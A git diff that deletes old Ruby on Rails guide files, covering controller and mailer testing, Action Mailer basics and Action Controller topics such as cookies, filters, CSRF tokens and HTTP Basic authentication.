- get <span style="color: #990000">:</span>show<span style="color: #990000">,</span> <span style="color: #990000">:</span>id <span style="color: #990000">=&gt;</span> <span style="color: #009900">@post</span><span style="color: #990000">.</span>id
- assert_response <span style="color: #990000">:</span>success
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_should_destroy_post
- assert_difference<span style="color: #990000">(</span><span style="color: #FF0000">'Post.count'</span><span style="color: #990000">,</span> <span style="color: #990000">-</span><span style="color: #993399">1</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
- delete <span style="color: #990000">:</span>destroy<span style="color: #990000">,</span> <span style="color: #990000">:</span>id <span style="color: #990000">=&gt;</span> <span style="color: #009900">@post</span><span style="color: #990000">.</span>id
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- assert_redirected_to posts_path
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>Above, the <tt>setup</tt> method is called before each test and so <tt>@post</tt> is available for each of the tests. Rails implements <tt>setup</tt> and <tt>teardown</tt> as ActiveSupport::Callbacks. Which essentially means you need not only use <tt>setup</tt> and <tt>teardown</tt> as methods in your tests. You could specify them by using:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-a block
-</p>
-</li>
-<li>
-<p>
-a method (like in the earlier example)
-</p>
-</li>
-<li>
-<p>
-a method name as a symbol
-</p>
-</li>
-<li>
-<p>
-a lambda
-</p>
-</li>
-</ul></div>
-<div class="paragraph"><p>Let&#8217;s see the earlier example by specifying <tt>setup</tt> callback by specifying a method name as a symbol:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'../test_helper'</span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> PostsControllerTest <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>TestCase
-
- <span style="font-style: italic"><span style="color: #9A1900"># called before every single test</span></span>
- setup <span style="color: #990000">:</span>initialize_post
-
- <span style="font-style: italic"><span style="color: #9A1900"># called after every single test</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> teardown
- <span style="color: #009900">@post</span> <span style="color: #990000">=</span> <span style="font-weight: bold"><span style="color: #0000FF">nil</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_should_show_post
- get <span style="color: #990000">:</span>show<span style="color: #990000">,</span> <span style="color: #990000">:</span>id <span style="color: #990000">=&gt;</span> <span style="color: #009900">@post</span><span style="color: #990000">.</span>id
- assert_response <span style="color: #990000">:</span>success
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_should_update_post
- put <span style="color: #990000">:</span>update<span style="color: #990000">,</span> <span style="color: #990000">:</span>id <span style="color: #990000">=&gt;</span> <span style="color: #009900">@post</span><span style="color: #990000">.</span>id<span style="color: #990000">,</span> <span style="color: #990000">:</span>post <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #FF0000">}</span>
- assert_redirected_to post_path<span style="color: #990000">(</span>assigns<span style="color: #990000">(:</span>post<span style="color: #990000">))</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_should_destroy_post
- assert_difference<span style="color: #990000">(</span><span style="color: #FF0000">'Post.count'</span><span style="color: #990000">,</span> <span style="color: #990000">-</span><span style="color: #993399">1</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
- delete <span style="color: #990000">:</span>destroy<span style="color: #990000">,</span> <span style="color: #990000">:</span>id <span style="color: #990000">=&gt;</span> <span style="color: #009900">@post</span><span style="color: #990000">.</span>id
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- assert_redirected_to posts_path
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- private
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> initialize_post
- <span style="color: #009900">@post</span> <span style="color: #990000">=</span> posts<span style="color: #990000">(:</span>one<span style="color: #990000">)</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-</div>
-<h2 id="_testing_routes">9. Testing Routes</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>Like everything else in you Rails application, it&#8217;s recommended to test you routes. An example test for a route in the default <tt>show</tt> action of <tt>Posts</tt> controller above should look like:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_should_route_to_post
- assert_routing <span style="color: #FF0000">'/posts/1'</span><span style="color: #990000">,</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"posts"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"show"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>id <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"1"</span> <span style="color: #FF0000">}</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-</div>
-<h2 id="_testing_your_mailers">10. Testing Your Mailers</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>Testing mailer classes requires some specific tools to do a thorough job.</p></div>
-<h3 id="_keeping_the_postman_in_check">10.1. Keeping the Postman in Check</h3>
-<div class="paragraph"><p>Your <tt>ActionMailer</tt> classes&#8201;&#8212;&#8201;like every other part of your Rails application&#8201;&#8212;&#8201;should be tested to ensure that it is working as expected.</p></div>
-<div class="paragraph"><p>The goals of testing your <tt>ActionMailer</tt> classes are to ensure that:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-emails are being processed (created and sent)
-</p>
-</li>
-<li>
-<p>
-the email content is correct (subject, sender, body, etc)
-</p>
-</li>
-<li>
-<p>
-the right emails are being sent at the right times
-</p>
-</li>
-</ul></div>
-<h4 id="_from_all_sides">10.1.1. From All Sides</h4>
-<div class="paragraph"><p>There are two aspects of testing your mailer, the unit tests and the functional tests. In the unit tests, you run the mailer in isolation with tightly controlled inputs and compare the output to a knownvalue (a fixture&#8201;&#8212;&#8201;yay! more fixtures!). In the functional tests you don&#8217;t so much test the minute details produced by the mailer Instead we test that our controllers and models are using the mailer in the right way. You test to prove that the right email was sent at the right time.</p></div>
-<h3 id="_unit_testing">10.2. Unit Testing</h3>
-<div class="paragraph"><p>In order to test that your mailer is working as expected, you can use unit tests to compare the actual results of the mailer with pre-written examples of what should be produced.</p></div>
-<h4 id="_revenge_of_the_fixtures">10.2.1. Revenge of the Fixtures</h4>
-<div class="paragraph"><p>For the purposes of unit testing a mailer, fixtures are used to provide an example of how the output <em>should</em> look. Because these are example emails, and not Active Record data like the other fixtures, they are kept in their own subdirectory apart from the other fixtures. The name of the directory within <tt>test/fixtures</tt> directly corresponds to the name of the mailer. So, for a mailer named <tt>UserMailer</tt>, the fixtures should reside in <tt>test/fixtures/user_mailer</tt> directory.</p></div>
-<div class="paragraph"><p>When you generated your mailer, the generator creates stub fixtures for each of the mailers actions. If you didn&#8217;t use the generator you&#8217;ll have to make those files yourself.</p></div>
-<h4 id="_the_basic_test_case">10.2.2. The Basic Test case</h4>
-<div class="paragraph"><p>Here&#8217;s a unit test to test a mailer named <tt>UserMailer</tt> whose action <tt>invite</tt> is used to send an invitation to a friend. It is an adapted version of the base test created by the generator for an <tt>invite</tt> action.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'test_helper'</span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> UserMailerTest <span style="color: #990000">&lt;</span> ActionMailer<span style="color: #990000">::</span>TestCase
- tests UserMailer
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_invite
- <span style="color: #009900">@expected</span><span style="color: #990000">.</span>from <span style="color: #990000">=</span> <span style="color: #FF0000">'me@example.com'</span>
- <span style="color: #009900">@expected</span><span style="color: #990000">.</span>to <span style="color: #990000">=</span> <span style="color: #FF0000">'friend@example.com'</span>
- <span style="color: #009900">@expected</span><span style="color: #990000">.</span>subject <span style="color: #990000">=</span> <span style="color: #FF0000">"You have been invited by #{@expected.from}"</span>
- <span style="color: #009900">@expected</span><span style="color: #990000">.</span>body <span style="color: #990000">=</span> read_fixture<span style="color: #990000">(</span><span style="color: #FF0000">'invite'</span><span style="color: #990000">)</span>
- <span style="color: #009900">@expected</span><span style="color: #990000">.</span>date <span style="color: #990000">=</span> Time<span style="color: #990000">.</span>now
-
- assert_equal <span style="color: #009900">@expected</span><span style="color: #990000">.</span>encoded<span style="color: #990000">,</span> UserMailer<span style="color: #990000">.</span>create_invite<span style="color: #990000">(</span><span style="color: #FF0000">'me@example.com'</span><span style="color: #990000">,</span> <span style="color: #FF0000">'friend@example.com'</span><span style="color: #990000">,</span> <span style="color: #009900">@expected</span><span style="color: #990000">.</span>date<span style="color: #990000">).</span>encoded
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>In this test, <tt>@expected</tt> is an instance of <tt>TMail::Mail</tt> that you can use in your tests. It is defined in <tt>ActionMailer::TestCase</tt>. The test above uses <tt>@expected</tt> to construct an email, which it then asserts with email created by the custom mailer. The <tt>invite</tt> fixture is the body of the email and is used as the sample content to assert against. The helper <tt>read_fixture</tt> is used to read in the content from this file.</p></div>
-<div class="paragraph"><p>Here&#8217;s the content of the <tt>invite</tt> fixture:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>Hi friend@example.com,
-
-You have been invited.
-
-Cheers!</tt></pre>
-</div></div>
-<div class="paragraph"><p>This is the right time to understand a little more about writing tests for your mailers. The line <tt>ActionMailer::Base.delivery_method = :test</tt> in <tt>config/environments/test.rb</tt> sets the delivery method to test mode so that email will not actually be delivered (useful to avoid spamming your users while testing) but instead it will be appended to an array (<tt>ActionMailer::Base.deliveries</tt>).</p></div>
-<div class="paragraph"><p>However often in unit tests, mails will not actually be sent, simply constructed, as in the example above, where the precise content of the email is checked against what it should be.</p></div>
-<h3 id="_functional_testing">10.3. Functional Testing</h3>
-<div class="paragraph"><p>Functional testing for mailers involves more than just checking that the email body, recipients and so forth are correct. In functional mail tests you call the mail deliver methods and check that the appropriate emails have been appended to the delivery list. It is fairly safe to assume that the deliver methods themselves do their job You are probably more interested in is whether your own business logic is sending emails when you expect them to got out. For example, you can check that the invite friend operation is sending an email appropriately:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'test_helper'</span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> UserControllerTest <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>TestCase
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_invite_friend
- assert_difference <span style="color: #FF0000">'ActionMailer::Base.deliveries.size'</span><span style="color: #990000">,</span> <span style="color: #990000">+</span><span style="color: #993399">1</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
- post <span style="color: #990000">:</span>invite_friend<span style="color: #990000">,</span> <span style="color: #990000">:</span>email <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'friend@example.com'</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- invite_email <span style="color: #990000">=</span> ActionMailer<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>deliveries<span style="color: #990000">.</span>first
-
- assert_equal invite_email<span style="color: #990000">.</span>subject<span style="color: #990000">,</span> <span style="color: #FF0000">"You have been invited by me@example.com"</span>
- assert_equal invite_email<span style="color: #990000">.</span>to<span style="color: #990000">[</span><span style="color: #993399">0</span><span style="color: #990000">],</span> <span style="color: #FF0000">'friend@example.com'</span>
- assert_match <span style="color: #FF6600">/Hi friend@example.com/</span><span style="color: #990000">,</span> invite_email<span style="color: #990000">.</span>body
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-</div>
-<h2 id="_other_testing_approaches">11. Other Testing Approaches</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>The built-in <tt>test/unit</tt> based testing is not the only way to test Rails applications. Rails developers have come up with a wide variety of other approaches and aids for testing, including:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-<a href="http://avdi.org/projects/nulldb/">NullDB</a>, a way to speed up testing by avoiding database use.
-</p>
-</li>
-<li>
-<p>
-<a href="http://github.com/thoughtbot/factory_girl/tree/master">Factory Girl</a>, as replacement for fixtures.
-</p>
-</li>
-<li>
-<p>
-<a href="http://www.thoughtbot.com/projects/shoulda">Shoulda</a>, an extension to <tt>test/unit</tt> with additional helpers, macros, and assertions.
-</p>
-</li>
-<li>
-<p>
-<a href="http://rspec.info/">RSpec</a>, a behavior-driven development framework
-</p>
-</li>
-</ul></div>
-</div>
-<h2 id="_changelog">12. Changelog</h2>
-<div class="sectionbody">
-<div class="paragraph"><p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/8">Lighthouse ticket</a></p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-November 13, 2008: Revised based on feedback from Pratik Naik by <a href="../authors.html#asurve">Akshay Surve</a> (not yet approved for publication)
-</p>
-</li>
-<li>
-<p>
-October 14, 2008: Edit and formatting pass by <a href="../authors.html#mgunderloy">Mike Gunderloy</a> (not yet approved for publication)
-</p>
-</li>
-<li>
-<p>
-October 12, 2008: First draft by <a href="../authors.html#asurve">Akshay Surve</a> (not yet approved for publication)
-</p>
-</li>
-</ul></div>
-</div>
-
- </div>
- </div>
-</body>
-</html>
diff --git a/railties/doc/guides/source/action_mailer_basics.txt b/railties/doc/guides/source/action_mailer_basics.txt
deleted file mode 100644
index c6cd16f10b..0000000000
--- a/railties/doc/guides/source/action_mailer_basics.txt
+++ /dev/null
@@ -1,133 +0,0 @@
-Action Mailer Basics
-====================
-
-This guide should provide you with all you need to get started in sending emails from your application, and will also cover how to test your mailers.
-
-== What is Action Mailer?
-Action Mailer allows you to send email from your application using a mailer model and views.
-Yes, that is correct, in Rails, emails are used by creating Models that inherit from ActionMailer::Base. They live alongside other models in /app/models BUT they have views just like controllers that appear alongside other views in app/views.
-
-== Quick walkthrough to creating a Mailer
-Let's say you want to send a welcome email to a user after they signup. Here is how you would go about this:
-
-=== 1. Create the mailer:
-[source, shell]
--------------------------------------------------------
-./script/generate mailer UserMailer
-exists app/models/
-create app/views/user_mailer
-exists test/unit/
-create test/fixtures/user_mailer
-create app/models/user_mailer.rb
-create test/unit/user_mailer_test.rb
--------------------------------------------------------
-
-So we got the model, the fixtures, and the tests all created for us
-
-=== 2. Edit the model:
-[source, ruby]
--------------------------------------------------------
-class UserMailer < ActionMailer::Base
-
-end
--------------------------------------------------------
-
-Lets add a method called welcome_email, that will send an email to the user's registered email address:
-
-[source, ruby]
--------------------------------------------------------
-class UserMailer < ActionMailer::Base
-
- def welcome_email(user)
- recipients user.email
- from "My Awesome Site Notifications<notifications@example.com>"
- subject "Welcome to My Awesome Site"
- sent_on Time.now
- body {:user => user, :url => "http://example.com/login"}
- content_type "text/html"
- end
-
-end
--------------------------------------------------------
-
-So what do we have here?
-recipients: who the recipients are, put in an array for multiple, ie, @recipients = ["user1@example.com", "user2@example.com"]
-from: Who the email will appear to come from in the recipients' mailbox
-subject: The subject of the email
-sent_on: Timestamp for the email
-content_type: The content type, by default is text/plain
-
-How about @body[:user]? Well anything you put in the @body hash will appear in the mailer view (more about mailer views below) as an instance variable ready for you to use, ie, in our example the mailer view will have a @user instance variable available for its consumption.
-
-=== 3. Create the mailer view
-Create a file called welcome_email.html.erb in #{RAILS_ROOT}/app/views/user_mailer/ . This will be the template used for the email. This file will be used for html formatted emails. Had we wanted to send text-only emails, the file would have been called welcome_email.txt.erb, and we would have set the content type to text/plain in the mailer model.
-
-The file can look like:
-[source, html]
--------------------------------------------------------
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
-<html>
- <head>
- <meta content='text/html; charset=iso-8859-1' http-equiv='Content-Type' />
- </head>
- <body>
- <h1>Welcome to example.com, <%= @user.first_name %></h1>
-
- <p>
- You have successfully signed up to example.com, and your username is: <%= @user.login %>.<br/>
- To login to the site, just follow this link: <%= @url %>.
- </p>
- <p>Thanks for joining and have a great day!</p>
- </body>
-</html>
--------------------------------------------------------
-
-=== 4. Wire it up so that the system sends the email when a user signs up
-There are 3 was to achieve this. One is to send the email from the controller that sends the email, another is to put it in a before_create block in the user model, and the last one is to use an observer on the user model. Whether you use the second or third methods is up to you, but staying away from the first is recommended. Not because it's wrong, but because it keeps your controller clean, and keeps all logic related to the user model within the user model. This way, whichever way a user is created (from a web form, or from an API call, for example), we are guaranteed that the email will be sent.
-
-Edit #{RAILS_ROOT}/config/environment.rb
-[source, ruby]
--------------------------------------------------------
-# Code that already exists
-
-Rails::Initializer.run do |config|
-
- # Code that already exists
-
- config.active_record.observers = :user_observer
-
-end
--------------------------------------------------------
-
-There was a bit of a debate on where to put observers. I put them in models, but you can create #{RAILS_ROOT}/app/observers if you like, and add that to your load path. Open #{RAILS_ROOT}/config/environment.rb and make it look like:
-[source, ruby]
--------------------------------------------------------
-# Code that already exists
-
-Rails::Initializer.run do |config|
-
- # Code that already exists
-
- config.load_paths += %W(#{RAILS_ROOT}/app/observers)
-
- config.active_record.observers = :user_observer
-
-end
--------------------------------------------------------
-
-ALMOST THERE :) Now all we need is that danged observer, and we're done:
-Create a file called user_observer in #{RAILS_ROOT}/app/models or #{RAILS_ROOT}/app/observers, and make it look like:
-[source, ruby]
--------------------------------------------------------
-class UserObserver < ActiveRecord::Observer
- def after_create(user)
- UserMailer.deliver_welcome_email(user)
- end
-end
--------------------------------------------------------
-
-Notice how we call deliver_welcome_email? Where is that method? Well if you remember, we created a method called welcome_email in UserMailer, right? Well, as part of the "magic" of rails, we deliver the email identified by welcome_email by calling deliver_welcome_email.
-
-That's it! Now whenever your users signup, they will be greeted with a nice welcome email. Next up, we'll talk about how to test a mailer model.
-
-== Mailer Testing \ No newline at end of file
diff --git a/railties/doc/guides/source/actioncontroller_basics/changelog.txt b/railties/doc/guides/source/actioncontroller_basics/changelog.txt
deleted file mode 100644
index 4ee16af19e..0000000000
--- a/railties/doc/guides/source/actioncontroller_basics/changelog.txt
+++ /dev/null
@@ -1,5 +0,0 @@
-== Changelog ==
-
-http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/17[Lighthouse ticket]
-
-* November 4, 2008: First release version by Tore Darrell
diff --git a/railties/doc/guides/source/actioncontroller_basics/cookies.txt b/railties/doc/guides/source/actioncontroller_basics/cookies.txt
deleted file mode 100644
index 9c30d29db4..0000000000
--- a/railties/doc/guides/source/actioncontroller_basics/cookies.txt
+++ /dev/null
@@ -1,34 +0,0 @@
-== Cookies ==
-
-Your application can store small amounts of data on the client - called cookies - that will be persisted across requests and even sessions. Rails provides easy access to cookies via the `cookies` method, which - much like the `session` - works like a hash:
-
-[source, ruby]
------------------------------------------
-class CommentsController < ApplicationController
-
- def new
- #Auto-fill the commenter's name if it has been stored in a cookie
- @comment = Comment.new(:name => cookies[:commenter_name])
- end
-
- def create
- @comment = Comment.new(params[:comment])
- if @comment.save
- flash[:notice] = "Thanks for your comment!"
- if params[:remember_name]
- # Remember the commenter's name
- cookies[:commenter_name] = @comment.name
- else
- # Don't remember, and delete the name if it has been remembered before
- cookies.delete(:commenter_name)
- end
- redirect_to @comment.article
- else
- render :action => "new"
- end
- end
-
-end
------------------------------------------
-
-Note that while for session values you set the key to `nil`, to delete a cookie value you should use `cookies.delete(:key)`.
diff --git a/railties/doc/guides/source/actioncontroller_basics/csrf.txt b/railties/doc/guides/source/actioncontroller_basics/csrf.txt
deleted file mode 100644
index 87e3d39c88..0000000000
--- a/railties/doc/guides/source/actioncontroller_basics/csrf.txt
+++ /dev/null
@@ -1,32 +0,0 @@
-== Request Forgery Protection ==
-
-Cross-site request forgery is a type of attack in which a site tricks a user into making requests on another site, possibly adding, modifying or deleting data on that site without the user's knowledge or permission. The first step to avoid this is to make sure all "destructive" actions (create, update and destroy) can only be accessed with non-GET requests. If you're following RESTful conventions you're already doing this. However, a malicious site can still send a non-GET request to your site quite easily, and that's where the request forgery protection comes in. As the name says, it protects from forged requests. The way this is done is to add a non-guessable token which is only known to your server to each request. This way, if a request comes in without the proper token, it will be denied access.
-
-If you generate a form like this:
-
-[source, ruby]
------------------------------------------
-<% form_for @user do |f| -%>
- <%= f.text_field :username %>
- <%= f.text_field :password -%>
-<% end -%>
------------------------------------------
-
-You will see how the token gets added as a hidden field:
-
-[source, html]
------------------------------------------
-<form action="/users/1" method="post">
-<div><!-- ... --><input type="hidden" value="67250ab105eb5ad10851c00a5621854a23af5489" name="authenticity_token"/></div>
-<!-- Fields -->
-</form>
------------------------------------------
-
-Rails adds this token to every form that's generated using the link:../form_helpers.html[form helpers], so most of the time you don't have to worry about it. If you're writing a form manually or need to add the token for another reason, it's available through the method `form_authenticity_token`:
-
-.Add a JavaScript variable containing the token for use with Ajax
------------------------------------------
-<%= javascript_tag "MyApp.authenticity_token = '#{form_authenticity_token}'" %>
------------------------------------------
-
-The link:../security.html[Security Guide] has more about this and a lot of other security-related issues that you should be aware of when developing a web application.
diff --git a/railties/doc/guides/source/actioncontroller_basics/filters.txt b/railties/doc/guides/source/actioncontroller_basics/filters.txt
deleted file mode 100644
index 09a4bdf4f6..0000000000
--- a/railties/doc/guides/source/actioncontroller_basics/filters.txt
+++ /dev/null
@@ -1,119 +0,0 @@
-== Filters ==
-
-Filters are methods that are run before, after or "around" a controller action. For example, one filter might check to see if the logged in user has the right credentials to access that particular controller or action. Filters are inherited, so if you set a filter on ApplicationController, it will be run on every controller in your application. A common, simple filter is one which requires that a user is logged in for an action to be run. You can define the filter method this way:
-
-[source, ruby]
----------------------------------
-class ApplicationController < ActionController::Base
-
-private
-
- def require_login
- unless logged_in?
- flash[:error] = "You must be logged in to access this section"
- redirect_to new_login_url # Prevents the current action from running
- end
- end
-
- # The logged_in? method simply returns true if the user is logged in and
- # false otherwise. It does this by "booleanizing" the current_user method
- # we created previously using a double ! operator. Note that this is not
- # common in Ruby and is discouraged unless you really mean to convert something
- # into true or false.
- def logged_in?
- !!current_user
- end
-
-end
----------------------------------
-
-The method simply stores an error message in the flash and redirects to the login form if the user is not logged in. If a before filter (a filter which is run before the action) renders or redirects, the action will not run. If there are additional filters scheduled to run after the rendering or redirecting filter, they are also cancelled. To use this filter in a controller, use the `before_filter` method:
-
-[source, ruby]
----------------------------------
-class ApplicationController < ActionController::Base
-
- before_filter :require_login
-
-end
----------------------------------
-
-In this example, the filter is added to ApplicationController and thus all controllers in the application. This will make everything in the application require the user to be logged in in order to use it. For obvious reasons (the user wouldn't be able to log in in the first place!), not all controllers or actions should require this. You can prevent this filter from running before particular actions with `skip_before_filter`:
-
-[source, ruby]
----------------------------------
-class LoginsController < Application
-
- skip_before_filter :require_login, :only => [:new, :create]
-
-end
----------------------------------
-
-Now, the LoginsController's `new` and `create` actions will work as before without requiring the user to be logged in. The `:only` option is used to only skip this filter for these actions, and there is also an `:except` option which works the other way. These options can be used when adding filters too, so you can add a filter which only runs for selected actions in the first place.
-
-=== After Filters and Around Filters ===
-
-In addition to the before filters, you can run filters after an action has run or both before and after. The after filter is similar to the before filter, but because the action has already been run it has access to the response data that's about to be sent to the client. Obviously, after filters can not stop the action from running. Around filters are responsible for running the action, but they can choose not to, which is the around filter's way of stopping it.
-
-[source, ruby]
----------------------------------
-# Example taken from the Rails API filter documentation:
-# http://api.rubyonrails.org/classes/ActionController/Filters/ClassMethods.html
-class ApplicationController < Application
-
- around_filter :catch_exceptions
-
-private
-
- def catch_exceptions
- yield
- rescue => exception
- logger.debug "Caught exception! #{exception}"
- raise
- end
-
-end
----------------------------------
-
-=== Other Ways to Use Filters ===
-
-While the most common way to use filters is by creating private methods and using *_filter to add them, there are two other ways to do the same thing.
-
-The first is to use a block directly with the *_filter methods. The block receives the controller as an argument, and the `require_login` filter from above could be rewritten to use a block:
-
-[source, ruby]
----------------------------------
-class ApplicationController < ActionController::Base
-
- before_filter { |controller| redirect_to new_login_url unless controller.send(:logged_in?) }
-
-end
----------------------------------
-
-Note that the filter in this case uses `send` because the `logged_in?` method is private and the filter is not run in the scope of the controller. This is not the recommended way to implement this particular filter, but in more simple cases it might be useful.
-
-The second way is to use a class (actually, any object that responds to the right methods will do) to handle the filtering. This is useful in cases that are more complex than can not be implemented in a readable and reusable way using the two other methods. As an example, you could rewrite the login filter again to use a class:
-
-[source, ruby]
----------------------------------
-class ApplicationController < ActionController::Base
-
- before_filter LoginFilter
-
-end
-
-class LoginFilter
-
- def self.filter(controller)
- unless logged_in?
- controller.flash[:error] = "You must be logged in to access this section"
- controller.redirect_to controller.new_login_url
- end
- end
-
-end
----------------------------------
-
-Again, this is not an ideal example for this filter, because it's not run in the scope of the controller but gets the controller passed as an argument. The filter class has a class method `filter` which gets run before or after the action, depending on if it's a before or after filter. Classes used as around filters can also use the same `filter` method, which will get run in the same way. The method must `yield` to execute the action. Alternatively, it can have both a `before` and an `after` method that are run before and after the action.
-
-The Rails API documentation has link:http://api.rubyonrails.org/classes/ActionController/Filters/ClassMethods.html[more information on using filters].
diff --git a/railties/doc/guides/source/actioncontroller_basics/http_auth.txt b/railties/doc/guides/source/actioncontroller_basics/http_auth.txt
deleted file mode 100644
index 8deb40c2c9..0000000000
--- a/railties/doc/guides/source/actioncontroller_basics/http_auth.txt
+++ /dev/null
@@ -1,24 +0,0 @@
-== HTTP Basic Authentication ==
-
-Rails comes with built-in HTTP Basic authentication. This is an authentication scheme that is supported by the majority of browsers and other HTTP clients. As an example, consider an administration section which will only be available by entering a username and a password into the browser's HTTP Basic dialog window. Using the built-in authentication is quite easy and only requires you to use one method, `authenticate_or_request_with_http_basic`.
-
-[source, ruby]
--------------------------------------
-class AdminController < ApplicationController
-
- USERNAME, PASSWORD = "humbaba", "5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8"
-
- before_filter :authenticate
-
-private
-
- def authenticate
- authenticate_or_request_with_http_basic do |username, password|
- username == USERNAME && Digest::SHA1.hexdigest(password) == PASSWORD
- end
- end
-
-end
--------------------------------------
-
-With this in place, you can create namespaced controllers that inherit from AdminController. The before filter will thus be run for all actions in those controllers, protecting them with HTTP Basic authentication.
diff --git a/railties/doc/guides/source/actioncontroller_basics/index.txt b/railties/doc/guides/source/actioncontroller_basics/index.txt
deleted file mode 100644
index 6865ace97b..0000000000
--- a/railties/doc/guides/source/actioncontroller_basics/index.txt
+++ /dev/null
@@ -1,40 +0,0 @@
-Action Controller basics
-=======================
-
-In this guide you will learn how controllers work and how they fit into the request cycle in your application. After reading this guide, you will be able to:
-
-* Follow the flow of a request through a controller
-* Understand why and how to store data in the session or cookies
-* Work with filters to execute code during request processing
-* Use Action Controller's built-in HTTP authentication
-* Stream data directly to the user's browser
-* Filter sensitive parameters so they do not appear in the application's log
-* Deal with exceptions that may be raised during request processing
-
-include::introduction.txt[]
-
-include::methods.txt[]
-
-include::params.txt[]
-
-include::session.txt[]
-
-include::cookies.txt[]
-
-include::filters.txt[]
-
-include::verification.txt[]
-
-include::csrf.txt[]
-
-include::request_response_objects.txt[]
-
-include::http_auth.txt[]
-
-include::streaming.txt[]
-
-include::parameter_filtering.txt[]
-
-include::rescue.txt[]
-
-include::changelog.txt[]
diff --git a/railties/doc/guides/source/actioncontroller_basics/introduction.txt b/railties/doc/guides/source/actioncontroller_basics/introduction.txt
deleted file mode 100644
index 6ea217dbb9..0000000000
--- a/railties/doc/guides/source/actioncontroller_basics/introduction.txt
+++ /dev/null
@@ -1,9 +0,0 @@
-== What Does a Controller do? ==
-
-Action Controller is the C in MVC. After routing has determined which controller to use for a request, your controller is responsible for making sense of the request and producing the appropriate output. Luckily, Action Controller does most of the groundwork for you and uses smart conventions to make this as straight-forward as possible.
-
-For most conventional RESTful applications, the controller will receive the request (this is invisible to you as the developer), fetch or save data from a model and use a view to create HTML output. If your controller needs to do things a little differently, that's not a problem, this is just the most common way for a controller to work.
-
-A controller can thus be thought of as a middle man between models and views. It makes the model data available to the view so it can display that data to the user, and it saves or updates data from the user to the model.
-
-NOTE: For more details on the routing process, see link:../routing_outside_in.html[Rails Routing from the Outside In].
diff --git a/railties/doc/guides/source/actioncontroller_basics/methods.txt b/railties/doc/guides/source/actioncontroller_basics/methods.txt
deleted file mode 100644
index 68204c189a..0000000000
--- a/railties/doc/guides/source/actioncontroller_basics/methods.txt
